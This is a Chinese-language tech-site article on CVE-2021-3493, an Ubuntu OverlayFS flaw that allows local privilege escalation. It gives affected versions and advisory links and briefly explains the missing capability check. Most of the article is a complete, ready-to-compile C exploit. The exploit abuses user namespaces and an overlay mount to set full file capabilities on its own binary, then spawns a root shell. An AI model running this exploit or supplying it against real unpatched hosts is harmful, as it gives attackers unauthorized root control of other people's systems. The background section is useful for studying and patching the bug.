您好,登錄后才能下訂單哦!
這篇文章主要介紹了OverlayFS漏洞導(dǎo)致Ubuntu用戶提權(quán)CVE-2021-3493的示例分析,具有一定借鑒價值,感興趣的朋友可以參考下,希望大家閱讀完這篇文章之后大有收獲,下面讓小編帶著大家一起了解一下。
Linux內(nèi)核中overlayfs文件系統(tǒng)中的Ubuntu特定問題,在該問題中,它未正確驗證關(guān)于用戶名稱空間的文件系統(tǒng)功能的應(yīng)用。由于Ubuntu附帶了一個允許非特權(quán)的overlayfs掛載的補丁,因此本地攻擊者可以使用它來獲得更高的特權(quán)。
linux內(nèi)核中的overlayfs實現(xiàn)未就用戶名稱空間正確驗證底層文件系統(tǒng)中文件的文件功能設(shè)置。由于無特權(quán)的用戶名稱空間以及Ubuntu內(nèi)核中附帶的允許無特權(quán)的覆蓋掛載的補丁的組合,攻擊者可以使用它來獲得提升的特權(quán),內(nèi)核中的overlayfs實現(xiàn)無法正確驗證文件系統(tǒng)功能在用戶名稱空間方面的應(yīng)用。本地攻擊者可以使用它來獲得更高的特權(quán)。
Ubuntu 20.10 Ubuntu 20.04 LTS Ubuntu 18.04 LTS Ubuntu 16.04 LTS Ubuntu 14.04 ESM
“我們今天在以下位置發(fā)布了有關(guān)此問題的安全公告
https://ubuntu.com/security/notices/USN-4915-1
https://ubuntu.com/security/notices/USN-4916-1
https://ubuntu.com/security/notices/USN-4917- 1
并在我們的CVE跟蹤器中公開該問題:
https://ubuntu.com/security/CVE-2021-3493
以下是消息的內(nèi)容已發(fā)送到oss-security列表:
https://www.openwall.com/lists/oss-security/2021/04/16/1
Linux支持file capabilities
存儲在擴展文件屬性中,這些屬性的作用類似于setuid-bit,但可以更細化。使用偽代碼設(shè)置文件功能的簡化過程如下所示:
setxattr(...): if cap_convert_nscap(...) is not OK: then fail vfs_setxattr(...)
重要的調(diào)用是cap_convert_nscap
,它檢查有關(guān)名稱空間的權(quán)限。
如果我們從自己的名稱空間和自己的掛載上設(shè)置文件功能,則沒有問題,并且我們有權(quán)這樣做。問題是,當OverlayFS將此操作轉(zhuǎn)發(fā)到基礎(chǔ)文件系統(tǒng)時,它僅調(diào)用vfs_setxattr
和跳過中的檢查cap_convert_nscap
。
這允許在外部名稱空間/掛載中的文件上設(shè)置任意功能,這些文件也將在執(zhí)行過程中應(yīng)用。
在Linux 5.11中,對的調(diào)用cap_convert_nscap
已移入vfs_setxattr
,因此它不再易受攻擊。
#define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <err.h> #include <errno.h> #include <sched.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/wait.h> #include <sys/mount.h> //#include <attr/xattr.h> //#include <sys/xattr.h> int setxattr(const char *path, const char *name, const void *value, size_t size, int flags); #define DIR_BASE "./ovlcap" #define DIR_WORK DIR_BASE "/work" #define DIR_LOWER DIR_BASE "/lower" #define DIR_UPPER DIR_BASE "/upper" #define DIR_MERGE DIR_BASE "/merge" #define BIN_MERGE DIR_MERGE "/magic" #define BIN_UPPER DIR_UPPER "/magic" static void xmkdir(const char *path, mode_t mode) { if (mkdir(path, mode) == -1 && errno != EEXIST) err(1, "mkdir %s", path); } static void xwritefile(const char *path, const char *data) { int fd = open(path, O_WRONLY); if (fd == -1) err(1, "open %s", path); ssize_t len = (ssize_t) strlen(data); if (write(fd, data, len) != len) err(1, "write %s", path); close(fd); } static void xcopyfile(const char *src, const char *dst, mode_t mode) { int fi, fo; if ((fi = open(src, O_RDONLY)) == -1) err(1, "open %s", src); if ((fo = open(dst, O_WRONLY | O_CREAT, mode)) == -1) err(1, "open %s", dst); char buf[4096]; ssize_t rd, wr; for (;;) { rd = read(fi, buf, sizeof(buf)); if (rd == 0) { break; } else if (rd == -1) { if (errno == EINTR) continue; err(1, "read %s", src); } char *p = buf; while (rd > 0) { wr = write(fo, p, rd); if (wr == -1) { if (errno == EINTR) continue; err(1, "write %s", dst); } p += wr; rd -= wr; } } close(fi); close(fo); } static int exploit() { char buf[4096]; sprintf(buf, "rm -rf '%s/'", DIR_BASE); system(buf); xmkdir(DIR_BASE, 0777); xmkdir(DIR_WORK, 0777); xmkdir(DIR_LOWER, 0777); xmkdir(DIR_UPPER, 0777); xmkdir(DIR_MERGE, 0777); uid_t uid = getuid(); gid_t gid = getgid(); if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1) err(1, "unshare"); xwritefile("/proc/self/setgroups", "deny"); sprintf(buf, "0 %d 1", uid); xwritefile("/proc/self/uid_map", buf); sprintf(buf, "0 %d 1", gid); xwritefile("/proc/self/gid_map", buf); sprintf(buf, "lowerdir=%s,upperdir=%s,workdir=%s", DIR_LOWER, DIR_UPPER, DIR_WORK); if (mount("overlay", DIR_MERGE, "overlay", 0, buf) == -1) err(1, "mount %s", DIR_MERGE); // all+ep char cap[] = "\x01\x00\x00\x02\xff\xff\xff\xff\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00"; xcopyfile("/proc/self/exe", BIN_MERGE, 0777); if (setxattr(BIN_MERGE, "security.capability", cap, sizeof(cap) - 1, 0) == -1) err(1, "setxattr %s", BIN_MERGE); return 0; } int main(int argc, char *argv[]) { if (strstr(argv[0], "magic") || (argc > 1 && !strcmp(argv[1], "shell"))) { setuid(0); setgid(0); execl("/bin/bash", "/bin/bash", "--norc", "--noprofile", "-i", NULL); err(1, "execl /bin/bash"); } pid_t child = fork(); if (child == -1) err(1, "fork"); if (child == 0) { _exit(exploit()); } else { waitpid(child, NULL, 0); } execl(BIN_UPPER, BIN_UPPER, "shell", NULL); err(1, "execl %s", BIN_UPPER); }
感謝你能夠認真閱讀完這篇文章,希望小編分享的“OverlayFS漏洞導(dǎo)致Ubuntu用戶提權(quán)CVE-2021-3493的示例分析”這篇文章對大家有幫助,同時也希望大家多多支持億速云,關(guān)注億速云行業(yè)資訊頻道,更多相關(guān)知識等著你來學(xué)習(xí)!
免責聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。